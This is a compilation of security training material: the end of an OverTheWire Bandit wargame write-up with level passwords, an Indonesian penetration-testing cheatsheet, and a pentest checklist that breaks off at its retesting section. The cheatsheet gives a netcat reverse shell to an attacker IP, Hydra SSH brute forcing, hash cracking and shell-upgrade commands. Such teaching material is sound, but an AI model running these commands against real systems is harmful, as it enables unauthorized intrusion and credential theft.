Author: Ben Dover <noone@overthewire.org>
Date:   Tue Oct 16 14:00:39 2018 +0200

    initial commit of README.md
bandit28@bandit:/tmp/repo1337/repo$ git checkout 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Previous HEAD position was 073c27c... fix info leak
HEAD is now at 186a103... add missing data
bandit28@bandit:/tmp/repo1337/repo$ cat README.md 
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: bbc96594b4e001778eee9975372716b2
```

**Explanation:** You need to create a temporary folder in **/tmp/** and clone the repo. Then, to reveal the password you need to checkout an older commit.

### Bandit 29 Solution <a href="#bandit-29-solution" id="bandit-29-solution"></a>

There is a git repository at **ssh://bandit29-git\@localhost/home/bandit29-git/repo**. The password for the user **bandit29-git** is the same as for the user **bandit29**.

```
$ ssh bandit29@bandit.labs.overthewire.org -p 2220

bandit29@bandit:~$ mkdir /tmp/plop123
bandit29@bandit:~$ cd /tmp/plop123
bandit29@bandit:/tmp/plop123$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
Cloning into 'repo'...
bandit29-git@localhost password: 

remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/plop123$ cd repo/
bandit29@bandit:/tmp/plop123/repo$ cat README.md 
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: <no passwords in production!>

bandit29@bandit:/tmp/plop123/repo$ git branch -r
  origin/HEAD -> origin/master
  origin/dev
  origin/master
  origin/sploits-dev
bandit29@bandit:/tmp/plop123/repo$ git checkout dev
Branch dev set up to track remote branch dev from origin.
Switched to a new branch 'dev'
bandit29@bandit:/tmp/plop123/repo$ cat README.md 
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: 5b90576bedb2cc04c86a9e924ce42faf
```

**Explanation:** You need to create a temporary folder in **/tmp/** and clone the repo. Then, to reveal the password you need to checkout the **dev** branch.

### Bandit 30 Solution <a href="#bandit-30-solution" id="bandit-30-solution"></a>

There is a git repository at **ssh://bandit30-git\@localhost/home/bandit30-git/repo**. The password for the user **bandit30-git** is the same as for the user **bandit30**.

```
$ ssh bandit30@bandit.labs.overthewire.org -p 2220

bandit30@bandit:~$ mkdir /tmp/plop1234
bandit30@bandit:~$ cd  /tmp/plop1234
bandit30@bandit:/tmp/plop1234$ git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
Cloning into 'repo'...
bandit30-git@localhost password: 

remote: Counting objects: 4, done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.
bandit30@bandit:/tmp/plop1234$ cd repo/
bandit30@bandit:/tmp/plop1234/repo$ ls
README.md
bandit30@bandit:/tmp/plop1234/repo$ cat README.md 
just an epmty file... muahaha
bandit30@bandit:/tmp/plop1234/repo$ git tag
secret
bandit30@bandit:/tmp/plop1234/repo$ git show secret
47e603bb428404d265f59c42920d81e5
```

**Explanation:** You need to create a temporary folder in **/tmp/** and clone the repo. `git show` will display the tag message and the referenced objects to reveal the password.

### Bandit 31 Solution <a href="#bandit-31-solution" id="bandit-31-solution"></a>

There is a git repository at **ssh://bandit31-git\@localhost/home/bandit31-git/repo**. The password for the user **bandit31-git** is the same as for the user **bandit31**.

```
$ ssh bandit31@bandit.labs.overthewire.org -p 2220

bandit31@bandit:~$ mkdir /tmp/plop12345
bandit31@bandit:~$ cd /tmp/plop12345
bandit31@bandit:/tmp/plop12345$ git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
Cloning into 'repo'...
bandit31-git@localhost password: 

remote: Counting objects: 4, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.
bandit31@bandit:/tmp/plop12345$ cd repo/
bandit31@bandit:/tmp/plop12345/repo$ ls
README.md
bandit31@bandit:/tmp/plop12345/repo$ cat README.md 
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master

bandit31@bandit:/tmp/plop12345/repo$ echo "May I come in?">key.txt
bandit31@bandit:/tmp/plop12345/repo$ git add -f key.txt
bandit31@bandit:/tmp/plop12345/repo$ git commit -m key.txt
[master 1e7c122] key.txt
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
bandit31@bandit:/tmp/plop12345/repo$ git push origin master
bandit31-git@localhost password: 

Counting objects: 3, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 320 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: ### Attempting to validate files... ####
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote: 
remote: Well done! Here is the password for the next level:
remote: 56a9bf19c63d650ce78e6ec0354ee45e
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote: 
To ssh://localhost/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo'
```

**Explanation:** You need to create a temporary folder in **/tmp/** and clone the repo. Then, we just follow the instruction in the **README.md**. Push a file called **key.txt**, add the file and push it to the **master** branch.

### Bandit 32 Solution <a href="#bandit-32-solution" id="bandit-32-solution"></a>

After all this git stuff its time for another escape.

```
$ ssh bandit32@bandit.labs.overthewire.org -p 2220

WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: not found
>> $0
$ vim

# In vim enter the following command :
# :r /etc/bandit_pass/bandit33

c9c3199ddf4121b10cf581a98d51caee
```

**Explanation:** Here we get an interactive shell by inserting **$0** in the *fake* shell, then we run `vim` end read the password for the next level.

### Bandit 33 Solution (The End) <a href="#bandit-33-solution-the-end" id="bandit-33-solution-the-end"></a>

This one is not really a challenge as there are no more levels to play in this game. But we can still try to login to check the password we found previously.

```
$ ssh bandit33@bandit.labs.overthewire.org -p 2220

bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt 
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!
```

Good job, you did it ! I Hope you enjoyed this write-up ;)


# VA-PT Cheatsheet

Cheatsheet untuk Pentesting.

Catatan ini ditujukan untuk mempermudah pencarian payload/script tools dalam pentesting/VA.Cheatsheet ini disadur dari akun Github rekan saya[ Satrya Mahardhika](https://github.com/mahaardhiika/VAPT-Training/).

## 5 Tahap Ethical Hacking

![](/files/-Md-xb2ezg4ogXYwD54W)

## Metode Uji Ringkas&#x20;

![](/files/-MdGFk7_bJi1LhZg86WT)

## NMAP Command

Berikut beberapa rangkuman perintah NMAP untuk tujuan *reconnaissance.* (Pindah dengan klik tab)&#x20;

{% tabs %}
{% tab title="Best Practice" %}

```bash
nmap -sC -sV -p- -T4 Target IP
```

{% endtab %}

{% tab title="TCP Ports \&versions" %}

```
	nmap -sV Target_IP
```

{% endtab %}

{% tab title="TCP Ports" %}

```
	nmap -sT Target IP
```

{% endtab %}

{% tab title="UDP Ports" %}

```
	nmap -sU Target IP
```

{% endtab %}

{% tab title="Scan for vulnerability" %}

```
nmap --vuln Target IP
```

{% endtab %}
{% endtabs %}

#### NMAP Command

| # | Options | Description                      |
| - | ------- | -------------------------------- |
| 1 | -sT     | TCP Connect port scan            |
| 2 | -sU     | UDP Port scan                    |
| 3 | -p      | specific port scan               |
| 4 | -p-     | Scan All ports                   |
| 5 | -sV     | Check Version of running service |
| 6 | -sC     | Scan with default safe Scripts   |
| 7 | -O      | OS Fingerprinting                |

| # | Command                      | Scan For                                                        |
| - | ---------------------------- | --------------------------------------------------------------- |
| 1 | nmap -sV `Target_IP`         | Open TCP Ports and versions                                     |
| 2 | nmap -sT `Target IP`         | Open TCP Ports                                                  |
| 3 | nmap -sU `Target IP`         | Open UDP Ports                                                  |
| 4 | nmap -sC -sV -p- `Target IP` | Open All TCP Ports and Versions + Scan with default NSE Scripts |
| 5 | nmap --vuln `Target IP`      | <p>Scan for vulnerability ()<br></p>                            |

Anda dapat mencari script NMAP pada:

```bash
ls /usr/share/nmap/scripts
```

## Interesting Port

| Port | Deskripsi                                                                                                              | Port     | Deskripsi                                                                                                  |
| ---- | ---------------------------------------------------------------------------------------------------------------------- | -------- | ---------------------------------------------------------------------------------------------------------- |
| 21   | FTP server, unencrypted.                                                                                               | 161, 162 | SNMP Service                                                                                               |
| 22   | SSH server, can be connected to via SSH                                                                                | 389, 636 | LDAP Directory Service                                                                                     |
| 23   | Telnet. Basically an unencrypted SSH                                                                                   | 443      | HTTPS, check for HeartBleed? View certificate for information?                                             |
| 25   | SMTP - Email sending service.                                                                                          | 445      | SMB Shares service, likely vulnerable to an SMB RCE                                                        |
| 69   | TFTP Server. Very uncommon and old. Uses UDP.                                                                          | 587      | Submission. If Postfix is run on it, it could be vunerable to shellshock                                   |
| 80   | HTTP Server. Try visiting IP with web browser.                                                                         | 631      | CUPS. Basically a Linux Printer Service for sharing printers.                                              |
| 88   | Kerberos Service. Check, [MS14-068](https://labs.f-secure.com/archive/digging-into-ms14-068-exploitation-and-defence/) | 1433     | Default MSSQL port. `sqsh -S 10.1.11.41 -U sa`                                                             |
| 110  | POP3 mail service. Login via telnet or SSH?                                                                            | 1521     | Oracle DB. `tnscmd10g version -h 10.1.11.51`                                                               |
| 111  | RPCbind. This can help us look for NFS-shares                                                                          | 2021     | Oracle XML DB. Check [Default Passwords](https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm) |
| 119  | Network Time Protocol                                                                                                  | 2049     | Network File System. `showmount -e 10.1.11.64`                                                             |
| 135  | MSRPC - Microsoft RPC                                                                                                  | 3306     | MySQL Database. Connect: `mysql --host=10.1.11.69 -u root -p`                                              |
| 139  | SMB Service. likely vulnerable to an SMB RCE                                                                           | 3389     | Listening for RDP connection                                                                               |

## Enumeration

### SSH

Try connect to ssh service

```bash
ssh kali@10.131.2.128 
```

### FTP

Check for Anonymous login allowed. Use username: **anonymous ;** password: (blank or anything).(Pindah dengan klik tab)&#x20;

{% tabs %}
{% tab title="Connect" %}

```bash
ftp open Target_IP
```

{% endtab %}

{% tab title="Ambil File" %}

```
get <nama file>
```

{% endtab %}
{% endtabs %}

### SMB

Connect ke SMB untuk mengecek Shares yang available. (Pindah dengan klik tab)&#x20;

{% tabs %}
{% tab title="Mencari share available" %}

```bash
smbclient -L Target_IP
```

{% endtab %}

{% tab title="Connect" %}

```
smbclient //Target_IP/Shares_name
```

{% endtab %}
{% endtabs %}

### SMTP

Verify SMTP Port using netcat

```bash
nc -nv Target_IP 25
```

### POP3

```bash
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean    
+OK
PASS password
+OK Welcome billydean

list

+OK 2 1807
1 786
2 1021

retr 1

+OK Message follows
From: jamesbrown@motown.com
Dear Billy Dean,

Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```

### WEB/ HTTP

#### 1. **Directory Finding**

Directory finding adalah langkah penting dalam pemetaan situs web. Berikut beberapa tools yang bisa digunakan untuk melakukan directory brute forcing:

**dirb**

* **dirb** adalah alat untuk mencari direktori dan file di server web menggunakan wordlist.

  ```bash
  dirb http://<ip_target>/ /usr/share/wordlists/dirb/common.txt
  ```
* Anda bisa mengganti `common.txt` dengan wordlist lain yang lebih lengkap sesuai kebutuhan.

**dirsearch**

* **dirsearch** adalah tool Python yang lebih cepat dan mendukung multithreading dibandingkan dirb. Instalasi:

  ```bash
  git clone https://github.com/maurosoria/dirsearch.git
  cd dirsearch
  pip install -r requirements.txt
  ```
* Penggunaan:

  ```bash
  python3 dirsearch.py -u http://<ip_target>
  ```

#### 2. **Web Application Scanning**

Untuk memeriksa potensi kerentanannya, Anda bisa melakukan pemindaian aplikasi web dengan tools berikut:

**Nikto**

* **Nikto** adalah scanner web server yang mencari lebih dari 6700 potensi masalah keamanan.

  ```bash
  nikto -h http://<ip_target>
  ```

**Nuclei (Pemindaian Kerentanannya)**

* **Nuclei** adalah framework pemindaian kerentanannya yang sangat cepat. Nuclei dapat digunakan untuk memindai berbagai jenis kerentanannya seperti CVE, XSS, SQLi, dan lainnya. Instalasi:

  ```bash
  sudo apt install nuclei
  ```
* Penggunaan dasar:

  ```bash
  nuclei -u http://<ip_target>
  ```
* Anda bisa menggunakan template lain untuk pemindaian lebih mendalam, misalnya XSS:

  ```bash
  nuclei -u http://<ip_target> -t xss/
  ```

#### 3. **CMS Scanning**

Jika situs web menggunakan CMS tertentu, Anda bisa menggunakan tools khusus untuk memeriksa kerentanannya. Beberapa CMS umum dan tools yang dapat digunakan adalah:

**WordPress (WPScan)**

WPScan adalah alat populer untuk memindai kerentanannya di situs WordPress.

* **Pemasangan WPScan:**

  ```bash
  sudo apt install wpscan
  ```
* **Pemindaian Dasar:**

  ```bash
  wpscan --url http://<ip_target>
  ```
* **Pemindaian API (memerlukan API key):** Untuk pemindaian lebih mendalam, gunakan API WPScan dengan API Key yang bisa didapatkan di situs resmi WPScan:

  ```bash
  wpscan --api-token <YOUR_API_KEY> --url http://<ip_target>
  ```
* **Pemeriksaan Plugin Agresif:** Untuk memeriksa plugin yang terpasang dengan cara agresif:

  ```bash
  wpscan --url http://<ip_target> -e ap --plugins-detection aggressive
  ```

**Joomla (Joomscan)**

Untuk memindai Joomla, Anda dapat menggunakan **Joomscan**.

* **Instalasi:**

  ```bash
  git clone https://github.com/rezasp/joomscan.git
  cd joomscan
  chmod +x joomscan.py
  ```
* **Pemindaian:**

  ```bash
  python joomscan.py -u http://<ip_target>
  ```

**Drupal (Droopescan)**

Untuk memindai kerentanannya di situs Drupal, gunakan **Droopescan**.

* **Instalasi:**

  ```bash
  git clone https://github.com/droope/droopescan.git
  cd droopescan
  python3 setup.py install
  ```
* **Pemindaian:**

  ```bash
  droopescan scan drupal -u http://<ip_target>
  ```

**Magento (MageScan)**

Untuk Magento, gunakan **MageScan**.

* **Instalasi:**

  ```bash
  git clone https://github.com/MagentoHackers/magescan.git
  cd magescan
  chmod +x magescan.py
  ```
* **Pemindaian:**

  ```bash
  python magescan.py http://<ip_target>
  ```

## Mencari Exploit

### Melalui Mesin Pencari (Google)

1. Perhatikan dan cari versi aplikasi yang kemungkinan rawan.
2. Lakukan pencarian di mesin pencari dengan format "\[APLIKASI] \[VERSI] \[EXPLOIT]" . Contoh: "Samba 3.5.0 exploit"
3. Prioritaskan sumber dari ExploitDB / Github /Rapid7.
4. Unduh dan gunakan exploit sesuat keterangan pada sumber terkait.

### Melalui Searchploit (Kali)

```bash
searchsploit linux 2.2.0
#Mencari exploit dengan keyword tertentu contoh linux 2.2.0
#Mendownload (Copy) exploit ke working directory

searchsploit -m Nomor_Exploit

wget Alamat_URL
#Download File
```

## Bruteforce/Hash Cracking (sample)

SSH Bruteforce With Hydra

```
hydra -L users.txt -P pass.txt 192.168.1.181 ssh
```

John The Ripper common hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Hashcat crack md5

```
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --outfile=cracked.txt
```

## Command Execution Guide

### Reverse Shell

(Pindah dengan klik tab)&#x20;

{% tabs %}
{% tab title="(LISTENER) YANG DI ATTACKER" %}

```bash
nc -nlvp 4444
```

{% endtab %}

{% tab title="YANG DI KIRIM KE VICTIM(TARGET)" %}

```
nc -nv IP_Attacker Port -e /bin/bash
```

{% endtab %}
{% endtabs %}

Sumber lain untuk membuat reverse shell [disini](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) .

### Upgrade ke Interactive Shell

```bash
python -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
<ENTER>
<ENTER>
```

Sumber lain untuk interactive shell dapat dicek di [Linux TTY Shell Cheat Sheet](/tutorial/linux-tty-shell-cheat-sheet)


# NMAP Cheatsheet

Source:https\://www\.comparitech.com

<div data-full-width="true"><figure><img src="/files/ZaLtUJFMCBEuG0za2okR" alt=""><figcaption></figcaption></figure></div>


# Penetration Testing Guide & Checklist

Digubah dari: <https://github.com/iAnonymous3000/awesome-pentest-checklist>

### Overview

A comprehensive guide for ethical penetration testing, meticulously designed to cover all phases of a penetration test. This step-by-step checklist ensures thorough coverage from preparation to reporting, ideal for both novice and experienced testers.

### Step

1. [**Pre-Engagement**](#id-1.-pre-engagement)
2. [**Information Gathering**](#id-2.-information-gathering)
3. [**Vulnerability Analysis**](#id-3.-vulnerability-analysis)
4. [**Exploitation**](#id-4.-exploitation)
5. [**Post-Exploitation**](#id-5.-post-exploitation)
6. [**Reporting**](#id-6.-reporting)
7. [**Remediation Verification**](#id-7.-remediation-verification)

***

### 1. Pre-Engagement

#### Legal and Compliance

* **Secure a Non-Disclosure Agreement (NDA):**\
  Example NDA Template: [NDA Template by LegalTemplates](https://www.legaltemplates.net/form/non-disclosure-agreement/)
* Obtain formal, written authorization for testing.
* Ensure legal compliance with all relevant laws and regulations (e.g., GDPR, HIPAA).
* Obtain appropriate insurance coverage (e.g., professional liability insurance).
* Establish additional confidentiality agreements if necessary.

#### Scope Definition

* Collect comprehensive client and system information.
* Define the scope and rules of engagement clearly:
  * Identify in-scope and out-of-scope systems and applications.
  * Confirm any limitations or constraints (e.g., testing windows, sensitive systems).
* Agree on acceptable testing methodologies and tools.
* Establish safe testing periods to minimize business impact.
* Identify third-party systems and obtain necessary permissions.
* **Example Scoping Document:** [Scoping Template by SANS Institute](https://www.sans.org/white-papers/33343/)

#### Communication and Planning

* Set specific, measurable success criteria.
* Establish emergency contact and response protocols.
* Define data handling and storage protocols:
  * Agree on how sensitive data will be stored, transmitted, and destroyed.
* Agree on communication channels and reporting frequency with the client:
  * Set up regular check-ins and progress updates.
* Clarify testing schedule and time frame.
* Ensure the penetration testing team has the necessary skills and certifications.

***

### 2. Information Gathering

#### Passive Reconnaissance

* Perform WHOIS lookups and analyze domain registration information.\
  **Tool:** [WHOIS Lookup by ICANN](https://whois.icann.org/)
* Conduct DNS analysis and enumerate subdomains.\
  **Tool:** [Sublist3r](https://github.com/aboul3la/Sublist3r)
* Undertake passive information gathering (e.g., Shodan, Censys).\
  **Tool:** [Shodan](https://www.shodan.io/)
* Utilize Open Source Intelligence (OSINT) techniques:
  * Gather information from social media, public forums, and past breaches.\
    **Tool:** [Maltego](https://www.maltego.com/)
  * Review job postings for insights into technologies and systems used.
  * Examine code repositories (e.g., GitHub) for exposed code or credentials.\
    **Tool:** [GitHub Search](https://github.com/search)
* Analyze SSL/TLS certificates for issuer details and expiration dates.\
  **Tool:** [SSL Labs](https://www.ssllabs.com/ssltest/)
* Perform Google dorking to find potentially sensitive information.\
  **Guide:** [Google Dorking Cheat Sheet](https://www.exploit-db.com/google-hacking-database)

#### Active Reconnaissance

* Conduct network and application scans (e.g., Nmap, Nessus).\
  **Tool:** [Nmap](https://nmap.org/)
* Identify and enumerate all subdomains.\
  **Tool:** [Amass](https://github.com/OWASP/Amass)
* Perform web crawling for hidden or dynamic content.\
  **Tool:** [Burp Suite](https://portswigger.net/burp)
* Map network topology and identify network devices.\
  **Tool:** [Netdiscover](https://github.com/alexxy/netdiscover)
* Identify technologies, platforms, and frameworks used in applications.\
  **Tool:** [Wappalyzer](https://www.wappalyzer.com/)
* Search for common vulnerabilities (e.g., default credentials, unpatched systems).\
  **Tool:** [OpenVAS](https://www.openvas.org/)
* Check for information leakage via metadata, HTML comments, etc.\
  **Tool:** [Metagoofil](https://github.com/laramies/metagoofil)

#### Social Engineering Opportunities

* Assess opportunities and methods for social engineering:
  * Monitor social media platforms for company-related disclosures.\
    **Tool:** [Social-Engineer Toolkit (SET)](https://github.com/trustedsec/social-engineer-toolkit)
  * Gather employee and organizational information from public sources.\
    **Tool:** [LinkedIn](https://www.linkedin.com/)

***

### 3. Vulnerability Analysis

#### Automated Scanning

* Validate and prioritize findings from automated scans.\
  **Tool:** [Nessus](https://www.tenable.com/products/nessus)
* Test for known vulnerabilities and possible exploits.\
  **Tool:** [OpenVAS](https://www.openvas.org/)
* Use vulnerability assessment tools to identify potential issues.\
  **Tool:** [Qualys](https://www.qualys.com/)

#### Manual Testing

* Analyze applications for common flaws:
  * SQL Injection (SQLi)\
    **Example:** [SQLi Cheat Sheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  * Cross-Site Scripting (XSS)\
    **Example:** [XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
  * Cross-Site Request Forgery (CSRF)\
    **Example:** [CSRF Example](https://owasp.org/www-community/attacks/csrf)
  * Insecure Direct Object References (IDOR)\
    **Example:** [IDOR Example](https://portswigger.net/web-security/access-control/idor)
  * Insecure deserialization\
    **Example:** [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
* Conduct fuzz testing to discover new vulnerabilities.\
  **Tool:** [AFL (American Fuzzy Lop)](https://github.com/google/AFL)
* Review server and application configurations for misconfigurations.\
  **Tool:** [Lynis](https://cisofy.com/lynis/)
* Perform manual code reviews where feasible.\
  **Guide:** [OWASP Code Review Guide](https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide_v2.pdf)
* Assess authentication and authorization mechanisms.\
  **Tool:** [Burp Suite](https://portswigger.net/burp)
* Check for sensitive data exposure (e.g., in URLs, API responses).\
  **Tool:** [ZAP (Zed Attack Proxy)](https://www.zaproxy.org/)
* Examine session management for weaknesses like session fixation.\
  **Guide:** [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)

#### Network and Infrastructure

* Test for security misconfigurations in network devices (firewalls, routers).\
  **Tool:** [Nessus](https://www.tenable.com/products/nessus)
* Evaluate encryption and cryptographic practices, including SSL/TLS configurations.\
  **Tool:** [SSL Labs](https://www.ssllabs.com/ssltest/)
* Assess APIs for vulnerabilities such as improper authentication.\
  **Tool:** [Postman](https://www.postman.com/)
* Assess logging and monitoring controls for effectiveness.\
  **Tool:** [Splunk](https://www.splunk.com/)
* Examine third-party components and libraries for vulnerabilities.\
  **Tool:** [Dependency-Check](https://owasp.org/www-project-dependency-check/)

#### IoT Device Testing

* Firmware analysis for vulnerabilities.\
  **Tool:** [Binwalk](https://github.com/ReFirmLabs/binwalk)
* Assess communication protocol security (e.g., MQTT, CoAP).\
  **Tool:** [Wireshark](https://www.wireshark.org/)
* Perform hardware security testing (e.g., JTAG, UART interfaces).\
  **Tool:** [JTAGulator](https://www.jtagulator.com/)
* Evaluate over-the-air (OTA) update security.\
  **Tool:** [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)
* Check default configuration and hardcoded credentials.\
  **Tool:** [RouterSploit](https://github.com/threat9/routersploit)
* Assess RF communication security (e.g., Bluetooth, Zigbee).\
  **Tool:** [Ubertooth](https://github.com/greatscottgadgets/ubertooth)
* Review physical security controls.

#### Container Security

* Analyze Docker security configurations.\
  **Tool:** [Docker Bench for Security](https://github.com/docker/docker-bench-security)
* Assess Kubernetes cluster security.\
  **Tool:** [Kube-bench](https://github.com/aquasecurity/kube-bench)
* Perform container image scanning for vulnerabilities.\
  **Tool:** [Clair](https://github.com/quay/clair)
* Implement runtime security monitoring.\
  **Tool:** [Falco](https://falco.org/)
* Review service mesh configurations.\
  **Tool:** [Istio](https://istio.io/)
* Evaluate container orchestration security.\
  **Tool:** [Kubescape](https://github.com/kubescape/kubescape)
* Secure container registries.\
  **Tool:** [Harbor](https://goharbor.io/)

#### CI/CD Pipeline Security

* Secure source code management systems.\
  **Tool:** [GitGuardian](https://www.gitguardian.com/)
* Assess build pipeline security.\
  **Tool:** [Jenkins](https://www.jenkins.io/)
* Protect artifact repositories.\
  **Tool:** [Nexus Repository Manager](https://www.sonatype.com/nexus-repository-oss)
* Secure deployment processes.\
  **Tool:** [Argo CD](https://argoproj.github.io/argo-cd/)
* Evaluate Infrastructure as Code (IaC) security.\
  **Tool:** [Checkov](https://www.checkov.io/)
* Implement secrets management best practices.\
  **Tool:** [HashiCorp Vault](https://www.vaultproject.io/)
* Enforce pipeline access controls.\
  **Tool:** [Open Policy Agent (OPA)](https://www.openpolicyagent.org/)

#### Cloud Infrastructure

* Conduct cloud configuration reviews.\
  **Tool:** [Prowler](https://github.com/prowler-cloud/prowler)
* Assess Identity and Access Management (IAM) policies.\
  **Tool:** [CloudSploit](https://cloudsploit.com/)
* Secure storage services (e.g., S3 buckets, Blob storage).\
  **Tool:** [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Review network security groups and firewall settings.\
  **Tool:** [Scout Suite](https://github.com/nccgroup/ScoutSuite)
* Evaluate serverless function security.\
  **Tool:** [Serverless Framework](https://www.serverless.com/)
* Test for misconfigurations in cloud environments.\
  **Tool:** [CloudMapper](https://github.com/duo-labs/cloudmapper)
* Assess cloud-specific vulnerabilities and exploits.\
  **Tool:** [Pacu](https://github.com/RhinoSecurityLabs/pacu)

#### OWASP Testing Guide

A comprehensive guide to testing the security of web applications.\
[OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

#### NIST SP 800-115

Technical Guide to Information Security Testing and Assessment.\
[NIST SP 800-115](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf)

#### Cloud Penetration Testing Resources

* **AWS Penetration Testing Guidelines**\
  [AWS Penetration Testing Guidelines](https://aws.amazon.com/security/penetration-testing/)
* **Azure Penetration Testing**\
  [Microsoft Cloud Penetration Testing Rules of Engagement](https://docs.microsoft.com/en-us/azure/security/fundamentals/pen-testing)
* **Google Cloud Platform (GCP) Penetration Testing**\
  [GCP Penetration Testing Guidelines](https://cloud.google.com/security/penetration-testing)

#### Mobile Security Testing

* **OWASP Mobile Security Testing Guide**\
  A detailed guide for testing mobile applications' security.\
  [OWASP MSTG](https://owasp.org/www-project-mobile-security-testing-guide/)

#### Compliance and Standards

* Verify adherence to industry standards (e.g., OWASP Top Ten, NIST).\
  **Reference:** [OWASP Top Ten](https://owasp.org/www-project-top-ten/)
* Assess compliance with the organization's security policies and procedures.
* Map findings to compliance requirements (e.g., PCI DSS, ISO 27001).\
  **Reference:** [PCI DSS Requirements](https://www.pcisecuritystandards.org/document_library)

***

### 4. Exploitation

#### Initial Access

* Attempt to gain initial access through:
  * Phishing campaigns (with explicit permission).\
    **Tool:** [GoPhish](https://getgophish.com/)
  * Exploiting known vulnerabilities.\
    **Tool:** [Metasploit](https://www.metasploit.com/)
  * Using default or weak credentials.\
    **Tool:** [Hydra](https://github.com/vanhauser-thc/thc-hydra)
* Utilize exploit frameworks (e.g., Metasploit) responsibly and within scope.\
  **Tool:** [Metasploit](https://www.metasploit.com/)

#### Privilege Escalation

* Perform privilege escalation on compromised systems.\
  **Tool:** [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
* Exploit application logic flaws and business logic vulnerabilities.\
  **Example:** [Privilege Escalation Techniques](https://book.hacktricks.xyz/linux-unix/privilege-escalation)

#### Lateral Movement

* Explore lateral movements within the network.\
  **Tool:** [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
* Attempt to access other systems and resources.\
  **Tool:** [Mimikatz](https://github.com/gentilkiwi/mimikatz)

#### Security Evasion

* Attempt to bypass security controls like WAF, 2FA, etc.\
  **Tool:** [WAFW00F](https://github.com/EnableSecurity/wafw00f)
* Try to evade detection by security solutions (e.g., antivirus, IDS/IPS).\
  **Tool:** [Veil-Evasion](https://github.com/Veil-Framework/Veil-Evasion)
* Use custom or zero-day exploits cautiously and with explicit permission.\
  **Tool:** [Exploit-DB](https://www.exploit-db.com/)

#### Documentation

* Document each step of the exploitation process meticulously.
* Maintain detailed logs of all actions for accountability and analysis.
* Ensure all exploitation steps are reproducible and verifiable.

***

### 5. Post-Exploitation

#### Impact Analysis

* Identify and access critical data stores.
* Analyze the potential business and technical impacts of exploited vulnerabilities.
* Evaluate the likelihood of real-world exploitation based on findings.

#### Persistence and Cleanup

* Implement strategies for maintaining access, if necessary and authorized.\
  **Tool:** [Empire](https://github.com/EmpireProject/Empire)
* Remove all tools, scripts, and artifacts used during testing.
* Ensure no backdoors, test accounts, or persistence mechanisms remain.
* Verify that systems are restored to their pre-testing state.
* Confirm that no sensitive data was altered or left exposed.

#### Data Handling

* Adhere to secure data handling and processing procedures.
* Check for clear-text credentials and sensitive data in memory.\
  **Tool:** [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* Simulate data exfiltration, if within the agreed scope.\
  **Tool:** [Dnscat2](https://github.com/iagox86/dnscat2)

#### Documentation

* Document all system alterations comprehensively.

***

### 6. Reporting

#### Report Preparation

* Create a detailed technical report documenting tools, techniques, and procedures used.
* Include evidence such as screenshots and logs.
* Provide clear, actionable remediation recommendations.
* Assign risk ratings to all identified vulnerabilities.
* Follow industry-standard reporting formats (e.g., PTES, NIST guidelines).\
  **Reference:** [PTES Reporting](http://www.pentest-standard.org/index.php/Reporting)
* Include a detailed methodology section explaining the testing approach.
* Provide references to relevant industry standards and best practices.

#### Executive Summary

* Prepare an executive summary for stakeholder review.
* Include both technical details and high-level overviews for different audiences.

#### Classification and Security

* Ensure the report is classified appropriately and sensitive data is secured.
* Offer a prioritized action plan with clear timelines for remediation.

#### Client Communication

* Conduct a read-out meeting with the client to discuss key findings.
* Suggest a timeline for follow-up assessments or retesting.

***

### 7. Remediation Verification

#### Retesting

